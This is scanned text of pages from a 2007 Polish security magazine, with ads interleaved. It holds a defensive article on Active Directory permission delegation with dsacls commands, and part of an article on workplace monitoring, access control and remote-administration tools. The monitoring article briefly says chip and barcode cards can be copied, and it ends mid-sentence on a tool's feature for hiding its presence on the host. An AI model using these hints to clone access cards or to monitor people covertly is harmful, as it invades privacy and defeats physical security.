do  grupy  Domain  Admins.  W  ce-
lu  ograniczenia  rozprzestrzeniania
uprawnień,  administratorzy  ci  po-
winni  posiadać  nadane  uprawnie-
nia  do  wbudowanej  grupy  admini-
stratorów na kontrolerach domeny,

w związku z  posiadaniem przez tą
grupę  wielu  podległych  uprawnień
do  katalogu  usług,  które  nie  mo-
gą być rozdzielone. Dla przykładu,
członek wbudowanej grupy admini-
stratorów  wybranej  domeny  może
zarządzać  członkostwem  w  grupie

Domain Admins, umożliwiając człon-
kom zmianę uprawnień bez dokony-
wania sprawdzenia.

Pamiętając o zasadzie nie prze-

kazywania  domyślnych  uprawnień,
ryzyko  może  być  ominięte  poprzez
stworzenie  grupy  zagnieżdżonej  w
grupie Server Operators i wbudowa-
ny w grupę domenowy DNS Admins.
To umożliwi lokalne zarządzanie kon-
trolerami  domeny  limitując  możli-
wość  rozprzestrzeniania  uprawnień.
Dla  większości  systemów  (innych
niż kontrolery domen, np. Certificate

Servers)  powinno  się  stworzyć  gru-
pę w lokalnej grupie administratorów.
Automatyka zagnieżdżania lokalnych
członków  grup  może  być  osiągnięta
poprzez  funkcjonalność  Restricted

Groups w Group Policy.

Administratorzy danych

A  teraz  prześledźmy  role  admini-
stratorów  danych.  Ci  powinni  być
stworzeni ze skumulowanymi upraw-
nieniami,  co  oznacza,  że  jeden
administrator  powinien  mieć  pełne
prawa do drugiego plus pewne do-
datkowe  uprawnienia.  Przyjrzymy
się takim potencjalnym grupom.

Grupa pierwsza administratorów

powinna zawierać ogólne zasady za-
rządzania wcześniej stworzonego ka-

Listing 1.

Zastosowanie komend do delegowania uprawnień

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:RPWP;c;user
dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:RPWP;co;user
dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:RPWP;l;user
dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:

RPWP;postalCode;user

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:

RPWP;postOfficeBox;user

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:RPWP;st;user
dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:

RPWP;streetAddress;user

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:RPWP;telephoneNum

ber;user

Media Systems

Firma Media Systems oferuje Państwu

profesjonalny system CashBill.pl,

umożliwiający zarządzanie usługami

SMS Premium Rate w sektorze B2B i

B2C.

Oferujemy również szeroki wachlarz

usług mikropłatniczych, płatności

elektronicznych oraz indywidualne, de-

dykowane rozwiązania przy budowie

aplikacji mobilnych.

TTS Company Sp. z o.o.

Oprogramowanie

komputerowe -

sprzedaż, dystrybucja oraz import na

zamówienie. W ofercie programy au-

torstwa ponad stu firm z całego świa-

ta. Zapraszamy do współpracy - zostań

naszym klientem lub dostawcą.

www.OprogramowanieKompute-

rowe.pl

Zepter IT

Zepter IT to dynamicznie rozwijająca

się firma, specjalizująca się w realiza-

cji projektów informatycznych.

Oferujemy rozwiązania dla biznesu i

zarządzania takie jak systemy ERP

czyli zarządzanie zasobami firmy, pod-

noszenie jakości i obniżanie kosztów.

Zepter IT świadczy również usługi in-

ternetowe - serwisy www, e-commerce,

tworzenie aplikacji internetowych oraz

systemów zarządzania treścią.

www.zepterit.com

Prenumerata PRO

t d

fta

: 2

hakin9 Nr 5/2007

www.hakin9.org

Obrona

talogu  obiektów.  Ta  grupa  powinna
być przeznaczona dla wstępnie prze-
szkolonych  administratorów  lub  dla
takich, którzy wykonują odizolowane
zadania, np. zmiana haseł. Nadaj tej
grupie  we  własnej  OU  uprawnienia
do modyfikacji właściwości kont użyt-
kowników, zmiany hasła, odblokowy-
wania  kont,  uaktywniania  lub  bloko-
wania  kont,  resetowania  kont  stacji
roboczych,  modyfikowania  członko-
stwa obiektów grupowych dla niead-
ministracyjnych grup.

Grupa druga powinna umożliwiać

trochę więcej funkcji, jak zarządzanie
tworzeniem obiektów, zezwalanie na
tworzenie  obiektów,  aby  mogły  być
zarządzane  przez  grupę  pierwszą.
Członkowie tej grupy mogą dodawać
i modyfikować konta administracyjne
grupy  pierwszej,  a  także  zarządzać
kontami  użytkowników.  Mają  możli-
wość usunięcia obiektów stacji robo-
czych,  dodawania,  modyfikowania,
usuwania  obiektów  Server,  Contact
i Shared Folder.

Kolejna grupa to grupa Regional

Admins. Ta grupa wychodzi poza ob-
ręb własnej struktury Organizatio-

nal  Unit.  Nie  może  zarządzać  inny-
mi strukturami regionalnymi OU. Kon-
to  Regional  Admin  powinno  być  roz-
ważane  jako  wysoce  uprzywilejowa-
ne. Konta Regional Admins przecho-
wywane są w oddzielnej hierarchii OU
i  zarządzane  przez  administratorów
usług. Regional Admins mają dostęp
do tworzenia większości obiektów bez
restrykcji we własnej strukturze Orga-

nizational Unit, co stwarza pewne za-
grożenie, że tworzone obiekty mogą
nie być zarządzane przez administra-
torów o niższych uprawnieniach.

Wiele struktur organizacyjnych

posiada  scentralizowany  help  desk.
Ta rola wypełnia listę administratorów
danych,  zapewniając  grupie  admini-
stratorów  danych  nadrzędne  prawa
nad  Regional  Admins.  Prawa  nie  są
delegowane do tych grup, są tworzo-
ne jako zagnieżdżone członkostwo w
każdej  grupie  Regional  Admins.  Za-
pewnia  to  najwyższej  jakości  punkt
eskalacji dla wszystkich administrato-
rów danych, jak i służy jako punkt do-
stępu dla spraw do przekazania dalej
do grupy administratorów usług.

Model Organizational

Unit i Security Group

Gdy role są zdefiniowane, w organi-
zacji musimy stworzyć model Orga-

nizational Unit i Security Group. Dwa
główne  czynniki  decydują  o  budo-
wie OU w Active Directory. Po pierw-
sze delegowanie uprawnień, po dru-
gie  tworzenie  punktu,  gdzie  obiekty
Group  Policy  mogą  być  połączone.
Sposób,  w  jaki  zdecydujesz  się  na
delegowanie uprawnień powinien być
głównym  czynnikiem,  decydującym
o  tym,  jak  chcesz  zaimplementować
twoją strukturę OU.

Mając to na uwadze, OU nad-

rzędne  powinno  być  stworzone  do-
kładnie pod domeną, tak  aby zmie-
ścić wszystkie obiekty. Taki OU słu-
ży  celom  definiowania  najwyższe-
go  poziomu  uprawnień  ponad  usłu-
gami katalogowymi, które mogą roz-
począć się na poziomie OU, a nie  na
poziomie domenowym.

Poniżej najwyższego poziomu

OU  powinien  zostać  stworzony  od-
dzielny  OU,  by  prezentować  własny
region  mający  dyskretny  zespół  za-
rządzania danymi. Każdy regionalny
OU  powinien  mieć  wspólną,  nie
za  dużą  hierarchię  do  zarządzania
obiektami katalogowymi.

Unifikowanie jest krytyczne dla za-

rządzania bieżącego, w związku z au-
tomatyzowaniem delegowania upraw-
nień. To duże wyzwanie, zważywszy
na fakt, że każdy region może wyma-
gać unikalnych OU. Administratorzy IT
muszą  trzymać  się  określonych  za-
sad. Jeśli rozszerzenie jest wymaga-
ne dla jednego regionu, struktura OU
powinna być rozszerzona dla wszyst-
kich regionów. To może być na począt-
ku trudne, ale jeśli organizacja zapew-
nia podstawowe przechowywanie dla
obiektów,  możliwe.  Wreszcie,  stwórz
oddzielne  podgrupy  administracyjne  i
konta  do  usuwania  możliwości  admi-
nistracyjnych, by zwiększać ich przy-
wileje.  Tworzenie  kont  w  oddzielnych
OU  zezwala  ograniczać  zarządza-
nie  własnym  poziomem  lub  niższym.
Dla  przykładu,  każdy  członek  gru-
py  Domain  Admins  może  stworzyć
dowolne  konto  dla  użytkownika  jako

Domain Admin. Przy zastosowaniu
naszego podziału kont na poddome-
ny ryzyko zmniejsza się.

Ustanawianie

drugorzędnych kont

Kluczem  do  prawidłowego  modelu
delegowania  uprawnień  jest  stwo-
rzenie  zasady  jak  najmniej  zbęd-
nych  uprawnień.  W  praktyce  ozna-
cza to, że tylko względy bezpieczeń-
stwa powinny być brane pod uwagę,
aby wykonać zadania określone dla
danej roli i nic więcej. Niestety wielu
administratorów sądzi, że do bieżą-
cych zadań oraz przeglądania zaso-
bów sieci czy czytania poczty, rów-
nież pomocne będą im uprawnienia
administratorskie.

Gdy mamy oddzielne konta mo-

żemy  uniknąć  przypadkowego  ska-
sowania drzewa katalogowego  przez
zmęczonego  administratora  lub  za-
bezpieczyć  się  przed  atakami,  które
są  powodowane  przez  aplikacje  co-
dziennego  użytku,  ale  takimi,  które
celują w administratorów.

By to osiągnąć bez konieczno-

ści  wylogowywania  się  użyj  serwi-
su  Secondary  Logon  (Runas.exe).
To zezwoli użytkownikowi zwiększyć
uprawnienia,  zapewniając  inny  ze-
staw uprawnień, gdy są uruchamia-
ne skrypty lub pliki wykonywalne na
serwerach lub stacjach roboczych.

Mimo że koncepcja używania

kont  o  niższych  uprawnieniach  jest
prosta,  organizacje  często  z  nieuf-
nością  do  niej  podchodzą.  Wynika
to z przyzwyczajeń, które trudno się
zmienia.  Wymuszenie  użycia  kont
o niższych uprawnieniach może być
wynikiem niedopuszczenia otrzymy-
wania  bezpośrednich  wiadomości
pocztowych na kontach o uprawnie-
niach wyższych. To jakże proste roz-
wiązanie w kolejny znaczący sposób
obniża używanie takich kont rutyno-
wo do zadań nieadministracyjnych.

Delegowanie uprawnień

Finalny  krok  wdrożenia  modelu  de-
legowania  uprawnień  to  jego  wdro-
żenie,  czyli  delegacja  uprawnień
w  Active  Directory.  W  tym  celu  na-
leży  skonfigurować  dostęp  do  ac-
cess  control  entries  (ACEs)  oraz
access control lists (ACLs) dla danych
przechowywanych  w  ramach  usług
katalogowych. ACLs w kontenerach

Active Directory definiują, które
obiekty mogą być tworzone i w jaki

Active Directory – delegowanie uprawnień

hakin9 Nr 5/2007

www.hakin9.org

sposób  mają  być  zarządzane.
Delegowanie  uwzględnia  podsta-
wowe  operacje  na  obiektach,  m.in.
przeglądanie  obiektów,  tworzenie
obiektów  z  uprzednio  predefiniowa-
nych,  zmiana  atrybutu  czy  bezpie-
czeństwo.  Poza  nimi  AD  definiuje

Extended Rights, które umożliwiają
na operacje, takie jak wyślij jako i za-
rządzaj topologią replikacji.

By zaimplementować model de-

legowania  uprawnień  grupy  i  pod-
grupy  bezpieczeństwa,  OU  mu-
szą  posiadać  przypisane  upraw-
nienia ponad obiektami w katalogu.
Nie  chcemy  przecież  się  uwstecz-
niać  i  nagle  tworzyć  wynalezione-
go  raz  koła.  Przeciwnie,  postaraj
się  zmniejszyć  uprawnienia  wbu-
dowanym  grupom  gdzie  możliwe.
Jeśli np.: określone wpisy DNS mu-
szą być dokonane, nie musisz dele-
gować uprawnień ponad kontenera-
mi i nazywać kontekstu powiązane-
go do zintegrowanych DNS w Active

Directory. Lepiej obniżyć grupę

BUILTIN\DNS  Admins  w  domenie.
Dodatkowo,  prawa  użytkowników  i
inne  uprawnienia  mogą  być  zwięk-
szone poprzez Group Policy w taki
sposób,  aby  zapewnić  dodatkowe
uprawnienia  wymagane  do  zarzą-
dzania  określonymi  klasami  syste-
mów poprzez określoną rolę.

Podczas przypisywania upraw-

nień, używając delegowania upraw-
nień, powinno się limitować lub cał-
kowicie eliminować używanie Deny

ACEs.  Mogą  stać  się  one  bowiem
kłopotliwe w razie wystąpienia błę-
dów.  Lepszym  rozwiązaniem  jest
wyodrębnienie  Allow  ACEs  w  ce-
lu  przyznania  uprawnień  do  grup
przedefiniowanych  prezentujących
twą  rolę.  Pamiętaj,  że  predefinio-

wane role będą mieć tylko wyłączne
prawa zdefiniowane przez te role.

Ważne jest dziedziczenie w AD.

Zawsze  bądź  dokładny  w  zakresie
dziedziczenia  poprzez  zapewnianie
dziedziczących  ACEs,  by  były  one
zastosowane  możliwie  blisko  obiek-
tów celu.

Jest wiele narzędzi, których mo-

żesz użyć w celu prawidłowego usta-
lenia zasad modelu delegowania
uprawnień. Możesz korzystać z sza-
blonów i kreatorów (wizardy).

Podstawowe tekstowe narzędzie,

mogące posłużyć do manipulowania
usługami ACLs na obiekcie w katalo-
gu to DSACLS.EXE, Jeśli flaga dzie-
dziczenia  będzie  źle  zdefiniowana
narzędzie  nie  zadziała  prawidłowo.
Bardzo  ważne  jest  testowanie  na-
rzędzia,  by  stwierdzić  ewentualne
nieprawidłowości.

Jeśli chcesz stworzyć obiekt typu

komputer w docelowym OU, zwróć
uwagę na to, że narzędzie jest case-
sensitive:

dsacls.exe ou=<twoja_nazwa_
ou>,dc=<twoja_nazwa_dc>,dc=com /I:T /G
<twoja_nazwa_dc>\dataadmin:CC;computer

Określony zbiór uprawnień jest wy-
magany dla tworzenia kilku obiektów.
Jest różnica pomiędzy atrybutami

obiektu: tymi co mogą wystąpić,
a tymi które są konieczne.
Dla obiektów użytkowników przykład
może wyglądać tak:

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_
nazwa_dc>,dc=com /I:T /G <twoja_nazwa_
dc>\<twoja_nazwa_dane_ou>:CC;user

Administrator  może  spodziewać
się  kilku  błędów  podczas  tworze-
nia  obiektów  typu  użytkownik.  Mu-
simy  nadać  wymagane  uprawnie-
nia,  by  ustawić  wymagane  atrybuty
dla  obiektu  użytkownika,  włączając
zmianę hasła. Jest to spowodowane
w  następującej  dodatkowej  składni

DSACLS. Na początku przyznajmy
uprawnienia do zapisu atrybutów ko-
niecznych, poprzez nadanie Generic

Read/Generic Write do wszystkich
atrybutów klasy użytkownika:

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_
nazwa_dc>,dc=com /I:S /G <twoja_nazwa_
dc>\<twoja_nazwa_dane_ou>:GRGW;;user

Następnie, nadajmy rozszerzone
uprawnienia do zmiany hasła:

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_
nazwa_dc>,dc=com /I:S /G <twoja_
nazwa_dc>\<twoja_nazwa_dane_ou>:
CA;"Reset Password";user

O autorze:

Autor jest włascicielem i założycielem
IT Studio. Jest inż. informatykiem z
szerokim doświadczeniem w branży IT.
Zarządzał sieciami i telekomunikacją w
logistyce, bankach.
Kierował i uczestniczył w wielu wdroże-
niach oraz projektach informatycznych
pbaszkowski@it-studio.pl

Rysunek 1.

Active Directory Manager

hakin9 Nr 5/2007

www.hakin9.org

Obrona

Na końcu, nadajmy uprawnienie do
właściwości czytania i zapisu atry-
butu Password Last:

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_
nazwa_dc>,dc=com /I:S /G <twoja_nazwa_
dc>\<twoja_nazwa_dane_ou>:
RPWP;pwdLastSet;user

Gdy  właściwe  uprawnienia  zosta-
ną zdelegowane, zdefiniowane role
będą  ograniczone  tylko  do  zarzą-
dzania  obiektami  zdefiniowanymi
w kontenerze DACL. Menu kontek-
stowe w Active Directory Users and

Computers ogranicza listę nowych
obiektów, jakie mogą zostać stwo-
rzone przez osobę z takimi wydele-
gowanymi uprawnieniami.

DSACLS może również słu-

żyć do zautomatyzowania złożone-
go zbioru uprawnień. Na Listingu 1
przykład zastosowania komend do
delegowania  uprawnień,  by  usta-
wiać  powszechne  atrybuty  ponad
obiektami  użytkowników  w  danym
kontenerze:

Takie przykłady są powszechne

dla  większości  modeli  delegowania
uprawnień  i  mogą  być  używane
w  połączeniu  z  wcześniej  zdefinio-
wanymi rolami.

Innym narzędziem jest DSREVO-

KE.EXE,  zezwalające  administrato-
rom lokalizować i usuwać zdelegowa-
ne uprawnienia dla specyficznych za-
sad  bezpieczeństwa  dla  obiektów  w
ramach katalogu. To narzędzie może
być  użyteczne,  jest  ono  specyficzne
dla zasad bezpieczeństwa i nie wpły-
wa na zagnieżdżone członkostwo we-
wnątrz grup bezpieczeństwa.

Poza tymi narzędziami, urucha-

mianymi z linii poleceń, wysoce
zalecane jest użycie User Rights

Assignment i Restricted Groups z

Group Policy. User Rights Assign-

ment umożliwia administratorom IT
rozszerzenie  lub  usunięcie  niskich
uprawnień  (zdalny  dostęp,  restart
systemu)  dla  różnych  grup  użyt-
kowników  na  specyficznych  syste-
mach. Restricted Groups mogą być
użyte do określenia i lokalnych i do-
menowych  członków  grup  w  lesie.
W połączeniu, te narzędzia zapew-
niają  wszystko,  co  niezbędne  do
zautomatyzowania i zaimplemento-
wania modelu delegowania upraw-
nień Active Directory.

Podsumowanie

Tworzenie modelu delegowania upraw-
nień w AD może wydawać się skompli-

kowane, jednak tak nie jest. Wiele pro-
stych modeli można zastosować do in-
frastruktury IT. Najważniejszy krok to
zdefiniowanie jasnych ról. Należy limi-
tować role do małych, zarządzalnych
grup. Balansowanie jest trudne, zbyt
wiele zmian spowoduje stworzenie
ról nigdy nie wykorzystywanych, nato-
miast za mało nie zezwoli na właściwy
podział obowiązków.

Należy pamiętać podczas defi-

niowania zadań, by grupować je pod
względem  częstotliwości,  ważności
i  trudności.  Po  jednokrotnym  zdefi-
niowaniu zwróć uwagę na wdrożenie
zestawów przypadków, które pomo-
gą zidentyfikować, które role można,
a  których  nie  należy  zautomatyzo-
wać  w  procesie  testowania.  Dobrze
przygotowane  pozwolą  przekonać
osoby z zarządu do słusznej decyzji
oraz  pomogą  w  ewentualnych  pro-
blemach w przyszłości.

Na koniec, zawsze warto przygo-

tować praktyczny test, przed wdroże-
niem modelu delegowania uprawnień.
Pamiętaj, że ułatwienie równa się ja-
kości wspierania i stabilności modelu
delegowania. Taki model będzie peł-
nił kluczową rolę w kontroli uprawnień
administratorskich w środowisku two-
jego Active Directory. l

Okiem wielkiego brata

hakin9 Nr 5/2007

www.hakin9.org

nim ukryciu i umiejscowieniu kame-
ry w odpowiednim miejscu, tak, aby
złodziej nie mógł jej zniszczyć albo
przynajmniej utrudnić mu takie dzia-
łania, np: uchwycić jego sylwetkę
przed zniszczeniem kamery.

Oczywiście, taki system może

być zaawansowany, zawierać w so-
bie wiele kamer i urządzeń wspoma-
gających, jak chociażby czujniki ru-
chu. Jednak docelowe zadanie tego
systemu  jest  typowo  defensywne,
nie zabezpieczy on stanowiska pra-
cy, może jedynie nadzorować prace
osób siedzących przy danym stano-
wisku.  Uruchamiając  system  profe-
sjonalnego monitoringu dobrze jest
oprzeć go o dobrej jakości komputer
i solidną kartę DVR. Najnowsze kar-
ty umożliwiają wybór kodowania ob-
razu i dźwięku, jeśli istnieje taka po-
trzeba. Można także zarządzać ka-
merą włączając nagrywanie w przy-
padku  pojawienia  się  ruchu,  a  wy-
łączając  w  razie  jego  braku.  Moż-
na ustawić podgląd z kamery w taki
sposób, aby reagował na ruch w da-
nym  miejscu,  a  omijał  na  przykład
poruszane przez wiatr drzewa. Do-
datkową  opcją,  już  teraz  spotyka-
ną w kartach DVR, jest automatycz-
ne  wywoływanie  alarmów,  gdy  na
kamerze  pojawi  się  ruch  w  godzi-
nach  zastrzeżonych.  Można  zdefi-
niować określoną akcję, taką jak te-

lefon na Policję i odegrać komunikat
z wcześniej nagranego pliku. W za-
leżności od programu obsługujące-
go kartę, występują także opcje wy-
syłania  powiadomienia  na  mail  ze
zdjęciem  z  zaalarmowanej  kamery,
a nawet powiadomienie przez sms.
Wszystko zależy od tego, ile gotów-
ki  chcemy  i  możemy  poświęcić  na
taki system.

Alarmy

Alarmy  są  najprostszym  rozwiąza-
niem  –  składają  się  one  z  centrali
programowanej  wewnętrznie  przez
komputer  lub  moduł  kontrolny.  Do
takiego  systemu  dołączona  jest
czujka  ruchu.  Podczas  wystąpie-
nia  zdarzenia  taka  czujka  załącza
alarm, czasem jest to sygnał świetl-
ny,  a  czasem  dźwiękowy.  Często
zdarza  się  sytuacja,  kiedy  napast-
nik  próbuje  wyłączyć  alarm,  znisz-
czyć  czujkę,  dlatego  osoba  montu-
jąca  taki  system  powinna  zwrócić
na to uwagę.

Systemy dostępu

Systemy  dostępu  są  to  wszelkie-
go  rodzaju  czytniki  linii  papilar-
nych,  wbijanych  kodów,  kart  ma-
gnetycznych, czytniki tęczówki oka.
Ich  schemat  pracy  jest  podobny,
gdyż  odwołują  się  do  wzorca,  któ-
ry  jest  gdzieś  zapisany.  Każdy  z

tych systemów ma swoje plusy i mi-
nusy. Czytniki kart chipowych moż-
na  łatwo  podrobić,  wystarczy  zdo-
być  kartę  z  odpowiednimi  upraw-
nieniami na kilka sekund i odczytać
jej zawartość lub skopiować na dysk
komputera  (za  pomocą  SmarTach

D-Box v.USB lub RS232 – prostych
kart  chipowych).  Jest  to  dość  nie-
bezpieczne, gdyż nasze karty ban-
komatowe są oparte na technologii
chipowej. Jednakże zabezpieczenia
kart  chipowych  do  bankomatu  cały
czas  się  rozwijają,  wraz  z  duchem
czasu idą też crakerzy i wzrasta po-
ziom  edukacji  społeczeństwa.  We-
dług  specjalistów  każda  karta  jest
do  podrobienia,  niezależnie  od  za-
stosowanych  w  niej  zabezpieczeń.
Jednak  w  Polsce  karta  kredytowa
nie  jest  tak  bardzo  powszechna,  w
związku  z  tym  odnotowujemy  ma-
łą  liczbę  przestępstw  na  tym  polu.
W  przypadku  kart  bezdotykowych
z  kodami  kreskowymi,  wykonanie
nieautoryzowanej  kopii  jest  łatwiej-
sze,  gdyż  wystarczy  dobrej  jakości
zdjęcie karty, jakie można wykonać
nawet za pomocą dzisiejszych tele-
fonów komórkowych.

System biometryczny

Podobnie jak w poprzednich przypad-
kach,  system  biometryczny  wykorzy-
stywany jest do kontrolowania dostę-
pu, analogicznie korzysta on ze wzor-
ca, zmienia się tylko technika, jaką po-
sługuje się ów system. Jest on o wie-
le bardziej zaawansowany – składa się
z kamer, czytników dotykowych i ska-
nerów siatkówki, linii papilarnych. Naj-
nowsze laptopy przeznaczone dla biz-
nesu  mają  wbudowane  czytniki  linii
papilarnych  Toshiba  Tecra  M5.  Jest
to  funkcja  pozwalająca  na  zabezpie-

Rysunek 1.

Prosty system monitoringu przemysłowego

Monitor

synchronizacja

zmieniacz

CSW

Rysunek 2.

Czytnik kart

Okiem wielkiego brata

hakin9 Nr 5/2007

www.hakin9.org

• Do kontroli użytkownika na okre-

ślonym stanowisku można wyko-
rzystać kamerę podłączoną do
komputera, która przesyła realny
obraz do programu nadzorujące-
go pracę i tym samym sprawdza,
czy osoba siedząca przy biurku
jest właściwym użytkownikiem.

• Analogicznie z poprzednim punk-

tem  możemy  wykorzystać  ten
sam  program  do  nadzorowania
pracy  na  klawiaturze,  szybkości
pisania,  ilości  zdań,  czy  popeł-
nianych błędów. Szybko wyłapie-
my użytkownika, który nie powi-
nien siedzieć przy danym stano-
wisku. System ten ma jednak wa-
dę, gdyż zmęczenie, ubiór, fryzu-
ra mają wpływ na prawidłowy od-
czyt danych z systemu.

Nadzór

Należy się zastanowić, jakie aspek-
ty bezpieczeństwa przyjmiemy – czy
jest to pełny nadzór czy tylko niektó-

rych  aplikacji  czy  procesów.  Wybie-
rzemy  nadzór  pełny,  by  przedstawić
wszystkie  możliwości  tego  zagad-
nienia:

• Internet, czyli przeglądane stro-

ny WWW. Aby poznać ich histo-
rię,  wystarczą  w  tym  przypadku
linki  otwieranych  stron,  gdyż  ar-
chiwum  pełne  wszystkich  kom-
puterów  może  szybko  zapełnić
nasze  zasoby  dyskowe,  np:  we-
block  (składnik  modułu  weblook,
umożliwiający  nie  tylko  śledze-
nie  odwiedzanych  stron  interne-
towych, ale także pozwalający na
blokowanie określonych zasobów
dla  wszystkich,  bądź  wybranych
użytkowników.

• Komunikatory. Jeśli zdecydujemy

się zablokować ich obsługę, bę-
dzie to najkrótsza droga, ale po-
zostają takie strony jak czat, czy
web gg. Jednak my także zna-
my ich adresy i przez zastosowa-

nie małej modyfikacji w pliku C:\
WINDOWS.0\system32\drivers\
etc\host możemy skutecznie za-
blokować  adres  komunikato-
rów przez wpisanie jego IP z od-
wołaniem  do  adresu  127.0.0.1.
Jeśli  mamy  dużą  ilość  kompu-
terów,  możemy  ustawić  serwer
proxy w firmie i tam zablokować
zakazane  adresy  dla  wszystkich
komputerów.

• Procesy zestawienia informacji o

tym,  jak  długo  komputer  był  włą-
czony,  z  dokładną  informacją  o
wszystkich przerwach oraz o cza-
sie spędzonym w poszczególnych
programach,  w  połączeniu  z  wie-
dzą  o  odwiedzanych  stronach  in-
ternetowych  –  co  daje  w  sumie
obraz rzeczywistego czasu pracy.
Jak  to  kontrolować?  Wykorzystu-
jemy  oprogramowanie  zarządza-
nia czasu pracy stanowisk. W In-
ternecie bardzo dużo firm zajmuje
się pisaniem programów tego typu
i wystarczy wpisać w google.pl od-
powiednie zapytanie.

Raportowanie, czyli to, co nas inte-
resuje, ogólne założenia programów
prezentujących czas pracy to:

• statystyki aktywności pracownika,
• pełna historia logowań użytkow-

nika,

• pełna historia uruchamianych

aplikacji wraz ze stopniem ich
wykorzystania,

• historia aktywnych – pierwszo-

planowych aplikacji,

• statystyki stopnia wykorzystania

komputera przez użytkownika,

• statystyki aktywności komputera

w czasie,

• statystyki aktywności dowolnej

aplikacji w czasie,

• statystyki najczęściej wykorzy-

stywanych aplikacji,

• statystyki wykorzystania kompu-

tera przez poszczególnych jego
użytkowników.

Każdy  raport  i  statystyka  powinna
być  dostępna  dla  dowolnego  prze-
działu  czasu.  Możemy  sprawdzić,
ile  czasu  pracownik  rzeczywiście
przepracował  w  konkretnym  dniu,

Rysunek 5.

Ustawienie wyświetlania ekranu

hakin9 Nr 5/2007

www.hakin9.org

Obrona

tygodniu, miesiącu, a ile czasu
spędził na przerwach czy prowa-
dzeniu rozmów przez komunikatory
internetowe.

Zdalna administracja

Systemy  komputerowe  wymagają
ciągłego  nadzorowania,  usuwania
usterek,  wdrażania  aktualizacji  in-
stalacji  dodatków,  sprzątania  w  pli-
kach  tymczasowych.  Niektóre  za-
dania  można  zautomatyzować,  nie
warto jednak wprowadzać całkowitej
automatyzacji,  ponieważ  nierzadko
słyszeliśmy o wirusach podszywają-
cych się pod poprawki Windows lub
wyłączających procesy skanera an-
tywirusowego  po  zarażeniu.  Warto
co jakiś czas zaglądać do systemu,
by dowiedzieć się co w trawie pisz-

czy.  Kłopoty  zaczynają  się  wtedy,
gdy nasza firma ma odziały odległe
od  siebie  o  wiele  kilometrów  i  cza-
sem trzeba być w dwóch miejscach
jednocześnie  albo  poruszać  się  z

prędkością  odrzutowca.  Z  pomocą
przychodzą  wówczas  programy  do
zdalnej kontroli komputera, takie jak
Zdalny  pulpit  w  Windows,  VNC,  tak
zwane programy zdalnego dostępu.

Można podzielić te programy na

dwie  grupy,  oferujące  dostęp  legal-
ny  i  dostęp  nielegalny.  Podstawo-
wa  różnica  między  jednym  typem,
a  drugim  ogranicza  się  do  pytania,
czy  użytkownik  danego  komputera
wie o tym, że jest szpiegowany. Je-
śli  montując  taki  program  informu-
jemy  użytkownika,  o  tym  że  każdy
jego ruch jest śledzony, a w przypad-
ku  zdalnego  logowania,  użytkownik
jest  o  tym  dodatkowo  informowany,
oznacza to, że program do zdalnego
dostępu jest legalny.

Narzędzie

systemu Windows

Obecnie, gdy firmy mają liczne
odziały, gdy my sami opiekujemy
się większą ilością komputerów, ad-

ministracja  bezpośrednia  staje  się
coraz trudniejsza, a awarie zajmują
coraz więcej czasu. Zaczynamy się
więc zastanawiać nad zdalną admi-
nistracją,  przyspieszeniem  czasu,
jaki musimy poświęcić komputerom.
Rozwiązanie tego problemu znajdu-
je się w samym systemie, gdyż wer-
sje  serwerowe,  a  teraz  już  wersje
XP  Windowsa  umożliwiają  zdalną
administracje.

Windows udostępnia nam narzę-

dzie mstsc.exe, które pozwala na za-
logowanie  się  na  zdalny  komputer.
Zaraz  po  jego  uruchomieniu  jeste-
śmy proszeni o podanie nazwy kom-
putera, dodatkowo możemy ustawić
właściwości  wyświetlania  obrazu
–  zwiększając  obciążenia  połącze-
nia,  ustawić  by  podstawowe  dźwię-
ki  były  przenoszone  na  ten  kompu-
ter włącznie z kombinacją klawiszy;
podłączyć  dyski  twarde  swojego
komputera i wykonywać na nich ope-
racje  kopiowania,  w  zależności  od
ustawionych zabezpieczeń. Możemy
także ustawić autouruchomienie pro-
gramu  tuż  po  naszym  zalogowaniu,
a także dostosować tak zwane wra-
żenia (opcje widoku) które także ma-
ją wpływ na szybkość wyświetlania.

Remote Administrator

Radmin  przydać  się  może  szcze-
gólnie  tym  użytkownikom,  dla  któ-
rych  potrzeba  przeprowadzenia  ja-
kiejś  zdalnej  operacji  wynika  bar-
dziej  z  aktualnej  potrzeby  chwili,
niż ze stałych i regularnie przepro-
wadzanych doświadczeń. W odróż-
nieniu  bowiem  od  wielu  innych  po-
dobnych programów, plik instalacyj-
ny Zdalnego Administratora jest bar-
dzo  mały  i  można  go  szybko  ścią-
gnąć ze strony producenta, jego in-
stalacja  nie  stwarza  żadnych  pro-
blemów,  a  obsługa  jest  niebywa-
le  prosta  –  szczególnie,  że  aplika-
cję  można  spolonizować  dogrywa-
jąc do jej katalogu odrębny plik języ-
kowy (znajdziemy go na stronie pro-
ducenta). Cały program jest jedno-
modułowy,  co  oznacza,  że  raz  za-
instalowany  może  nam  służyć  za-
równo  jako  host  (tutaj  serwer),  jak
i  jako  klient  (tutaj  viewer).  Licz-
ba  opcji  serwera  nie  jest  specjal-

Rysunek 6.

Konfiguracja zdalnego podglądu

hakin9 Nr 5/2007

www.hakin9.org

Obrona

mechanizmem  ukrywania  obecno-
ści servera po stronie hosta. Wyja-
śniając bliżej – że klient z poziomu
okna  swego  programu  może  do-
